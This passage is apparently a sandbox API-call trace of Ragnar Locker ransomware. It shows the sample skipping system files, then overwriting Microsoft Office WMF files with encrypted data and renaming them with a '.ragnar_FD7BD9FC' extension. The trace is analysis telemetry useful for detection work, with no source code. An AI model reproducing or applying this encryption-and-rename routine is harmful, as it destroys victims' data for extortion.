(lpString1="BD18247_.WMF", lpString2="boot.ini") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="bootfont.bin") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="bootsect.bak") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="bootmgr") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="bootmgr.efi") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="desktop.ini") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="iconcache.db") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="ntldr") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="ntuser.dat") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="ntuser.ini") returned -1 [0096.818] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="thumbs.db") returned -1 [0096.818] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.818] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.818] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.818] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.818] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.818] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.818] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf")) returned 0x20 [0096.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.819] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3432) returned 1 [0096.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.819] GetProcessHeap () returned 0x580000 [0096.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.819] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.820] VirtualAlloc (lpAddress=0x0, dwSize=0xd68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.820] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd68, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd68, lpOverlapped=0x0) returned 1 [0096.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.821] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd68, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.821] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd68, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd68, lpOverlapped=0x0) returned 1 [0096.821] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.821] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.821] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.821] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.821] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.821] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.821] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.821] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.821] GetProcessHeap () returned 0x580000 [0096.821] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.821] CloseHandle (hObject=0xf4) returned 1 [0096.821] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" [0096.821] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF.ragnar_FD7BD9FC" [0096.822] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.822] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0096.822] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.822] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18248_.WMF" | out: lpString1="BD18248_.WMF") returned="BD18248_.WMF" [0096.822] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF") returned=".WMF" [0096.822] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.822] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="autorun.inf") returned 1 [0096.822] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="boot.ini") returned -1 [0096.822] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="bootfont.bin") returned -1 [0096.822] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="bootsect.bak") returned -1 [0096.822] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="bootmgr") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="bootmgr.efi") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="desktop.ini") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="iconcache.db") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="ntldr") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="ntuser.dat") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="ntuser.ini") returned -1 [0096.823] lstrcmpiW (lpString1="BD18248_.WMF", lpString2="thumbs.db") returned -1 [0096.823] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.823] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.823] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.823] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.823] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.823] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.823] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf")) returned 0x20 [0096.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.823] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3440) returned 1 [0096.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.824] GetProcessHeap () returned 0x580000 [0096.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.824] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.827] VirtualAlloc (lpAddress=0x0, dwSize=0xd70, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.827] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd70, lpOverlapped=0x0) returned 1 [0096.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.827] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd70, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.827] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd70, lpOverlapped=0x0) returned 1 [0096.827] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.827] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.827] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.827] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.828] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.828] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.828] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.828] GetProcessHeap () returned 0x580000 [0096.828] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.828] CloseHandle (hObject=0xf4) returned 1 [0096.828] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" [0096.828] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF.ragnar_FD7BD9FC" [0096.828] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.829] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0096.829] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.829] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18249_.WMF" | out: lpString1="BD18249_.WMF") returned="BD18249_.WMF" [0096.829] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF") returned=".WMF" [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="autorun.inf") returned 1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="boot.ini") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="bootfont.bin") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="bootsect.bak") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="bootmgr") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="bootmgr.efi") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="desktop.ini") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="iconcache.db") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="ntldr") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="ntuser.dat") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="ntuser.ini") returned -1 [0096.829] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="thumbs.db") returned -1 [0096.829] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.829] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.829] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.829] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.829] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.829] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.829] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf")) returned 0x20 [0096.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.830] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2212) returned 1 [0096.830] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x89b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.830] GetProcessHeap () returned 0x580000 [0096.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.830] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.836] VirtualAlloc (lpAddress=0x0, dwSize=0x8a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.837] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.837] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.837] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8a4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8a4, lpOverlapped=0x0) returned 1 [0096.837] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.837] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.837] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8a4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8a4, lpOverlapped=0x0) returned 1 [0096.850] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.850] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.851] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.851] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.851] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.851] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.851] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.851] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.851] GetProcessHeap () returned 0x580000 [0096.851] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.851] CloseHandle (hObject=0xf4) returned 1 [0096.851] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" [0096.851] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF.ragnar_FD7BD9FC" [0096.851] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.853] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0096.853] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.853] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18250_.WMF" | out: lpString1="BD18250_.WMF") returned="BD18250_.WMF" [0096.853] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF") returned=".WMF" [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="autorun.inf") returned 1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="boot.ini") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="bootfont.bin") returned -1 [0096.853] lstrcmpiW (lpString1="BD18250_.WMF", 